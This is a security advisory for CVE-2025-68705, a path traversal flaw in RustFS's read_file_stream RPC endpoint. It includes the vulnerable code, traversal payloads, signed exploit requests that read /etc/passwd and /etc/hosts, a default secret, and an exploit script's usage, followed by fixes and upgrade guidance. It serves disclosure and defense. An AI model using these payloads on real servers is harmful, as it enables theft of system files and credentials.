CVE-2025-68705 — rustfs
Fix: rustfs/rustfs@ab75245CVE-2025-68705 is a Path Traversal vulnerability in rustfs. A fix is available for rustfs — see the affected versions and patch details below.
RustFS Path Traversal Vulnerability
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-68705.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
rustfsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.
Description
RustFS Path Traversal Vulnerability
Vulnerability Details
- CVE ID:
- Severity: Critical (CVSS estimated 9.9)
- Impact: Arbitrary File Read/Write
- Component:
/rustfs/rpc/read_file_streamendpoint - Root Cause: Insufficient path validation in
crates/ecstore/src/disk/local.rs:1791
Vulnerable Code
// local.rs:1791 - No path sanitization!
let file_path = volume_dir.join(Path::new(&path)); // DANGEROUS!
check_path_length(file_path.to_string_lossy().to_string().as_str())?; // Only checks length
let mut f = self.open_file(file_path, O_RDONLY, volume_dir).await?;
The code uses PathBuf::join() without:
- Canonicalization
- Path boundary validation
- Protection against
../sequences - Protection against absolute paths
Proof of Concept
Test Environment
- Target: RustFS v0.0.5 (Docker container)
- Endpoint:
http://localhost:9000/rustfs/rpc/read_file_stream - RPC Secret:
rustfsadmin(from RUSTFS_SECRET_KEY) - Disk ID:
/data/rustfs0 - Volume:
.rustfs.sys
Attack Scenario
Exploit Parameters
disk: /data/rustfs0
volume: .rustfs.sys
path: ../../../../etc/passwd # Path traversal payload
offset: 0
length: 751 # Must match file size
Required Authentication
RPC requests require HMAC-SHA256 signature:
# Signature format: HMAC-SHA256(secret, "{url}|{method}|{timestamp}")
Headers:
x-rustfs-signature: Base64(HMAC-SHA256(secret, data))
x-rustfs-timestamp: Unix timestamp
Successful Exploits
1. Read /etc/passwd ✅
Request:
GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/passwd&offset=0&length=751
x-rustfs-signature: QAesB6sNdwKJluifpIhbKyhdK2EEiiyhpvfRJmXZKlg=
x-rustfs-timestamp: 1766482485
Response: HTTP 200 OK
Content Retrieved:
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[... 15 more lines ...]
rustfs:x:10001:10001::/home/rustfs:/sbin/nologin
Impact: Full user account enumeration
2. Read /etc/hosts ✅
Request:
GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/hosts&offset=0&length=172
Response: HTTP 200 OK
Content Retrieved:
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
[...]
172.20.0.3 d25e05a19bd2
Impact: Network configuration disclosure
3. Read /etc/hostname ✅
Request:
GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=/etc/hostname&offset=0&length=13
Response: HTTP 200 OK
Content Retrieved:
d25e05a19bd2
Impact: System information disclosure
Technical Analysis
Data Flow
1. HTTP Request
↓
2. RPC Signature Verification (verify_rpc_signature)
↓
3. Find Disk (find_local_disk)
↓
4. Read File Stream (disk.read_file_stream)
↓
5. VULNERABLE: volume_dir.join(Path::new(&path))
↓
6. File Read: /data/rustfs0/.rustfs.sys/../../../../etc/passwd
→ /etc/passwd
Path Traversal Mechanism
// Example traversal:
volume_dir = PathBuf::from("/data/rustfs0/.rustfs.sys")
path = "../../../../etc/passwd"
// PathBuf::join() resolves to:
file_path = "/data/rustfs0/.rustfs.sys/../../../../etc/passwd"
= "/etc/passwd" // Successfully escaped!
Why It Works
- No Canonicalization: Code doesn't use
canonicalize()before validation - No Boundary Check: No verification that final path is within volume_dir
- PathBuf::join() Behavior: Automatically resolves
../sequences - Length-Only Validation:
check_path_length()only checks string length
Special Considerations
- File Size Constraint: The
lengthparameter must exactly match file size- Code validates:
file.len() >= offset + length - Otherwise returns
DiskError::FileCorrupt
- Code validates:
- Volume Requirement: Volume/bucket must exist (e.g.,
.rustfs.sys) - Disk Requirement: Disk must be registered in
GLOBAL_LOCAL_DISK_MAP
Impact Assessment
Confidentiality Impact: HIGH
- ✅ Read arbitrary files (demonstrated)
- ✅ Read system configuration files (
/etc/passwd,/etc/hosts) - ⚠️ Potential to read:
- SSH keys (
/root/.ssh/id_rsa) - Application secrets
- RustFS configuration files
- Environment variables from
/proc
- SSH keys (
Integrity Impact: HIGH
- ⚠️ Similar vulnerability exists in
put_file_stream(not tested) - ⚠️ Arbitrary file write likely possible
- ⚠️ Could write to:
- Cron jobs
- authorized_keys
- System binaries (if permissions allow)
Availability Impact: MEDIUM
- ⚠️
walk_direndpoint could enumerate entire filesystem - ⚠️ Potential DoS via recursive directory traversal
Exploitation Requirements
Prerequisites
- Network Access: Ability to reach RustFS RPC endpoints
- RPC Secret Knowledge: Knowledge of RUSTFS_SECRET_KEY
- Default:
"rustfs-default-secret" - Production: From environment variable or config
- Default:
- Disk/Volume Knowledge: Valid disk ID and volume name
- File Size Knowledge: Exact file sizes for successful reads
Attack Complexity
- Without Secret: Impossible (signature verification)
- With Secret: Trivial (automated script)
- With Default Secret: Critical risk if not changed
Mitigation Recommendations
Immediate Actions (Priority 0)
- Path Canonicalization
async fn read_file_stream(&self, volume: &str, path: &str, ...) -> Result<FileReader> {
let volume_dir = self.get_bucket_path(volume)?;
// CRITICAL FIX:
let file_path = volume_dir.join(Path::new(&path));
let canonical = file_path.canonicalize()
.map_err(|_| DiskError::FileNotFound)?;
// Validate path is within volume_dir
if !canonical.starts_with(&volume_dir) {
error!("Path traversal attempt detected: {:?}", path);
return Err(DiskError::InvalidArgument);
}
// Continue with validated path...
}
- Path Component Validation
// Reject dangerous path components
if path.contains("..") || path.starts_with('/') {
return Err(DiskError::InvalidArgument);
}
- Use path-clean Crate
use path_clean::PathClean;
let cleaned_path = PathBuf::from(&path).clean();
if cleaned_path.to_string_lossy().contains("..") {
return Err(DiskError::InvalidArgument);
}
Additional Security Measures
- Audit Logging: Log all RPC file operations with full paths
- Rate Limiting: Prevent DoS via repeated RPC calls
- Secret Rotation: Ensure unique RPC secrets per deployment
- Network Segmentation: Restrict RPC endpoint access
- Security Testing: Add path traversal tests to test suite
Long-term Improvements
- Chroot Jail: Isolate RPC operations in chroot environment
- Least Privilege: Run RustFS with minimal file system permissions
- Security Audit: Comprehensive review of all file operations
Proof of Concept Script
The complete PoC is available at: exploit_path_traversal.py
Usage
# Ensure RustFS is running
docker compose ps
# Run exploit
python3 exploit_path_traversal.py
Output
[+] SUCCESS! Read 751 bytes
[+] File content:
================================================================================
root:x:0:0:root:/root:/bin/sh
[... full /etc/passwd content ...]
================================================================================
Acknowledgements
RustFS would like to thank bilisheep from the Xmirror Security Team for discovering and responsibly reporting this vulnerability.
Acknowledgements: RustFS would like to thank @realansgar and bilisheep from the Xmirror Security Team for providing the security report.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🦀crates.io | rustfs | ≥ 1.0.0-alpha.13&&< 1.0.0-alpha.79 | 1.0.0-alpha.79cargo update -p rustfs --precise 1.0.0-alpha.79 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for rustfs, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update rustfs to 1.0.0-alpha.79 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-68705 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-68705 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2025-68705. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2025-68705 in your dependencies?
O3 Security finds CVE-2025-68705 across crates.io dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.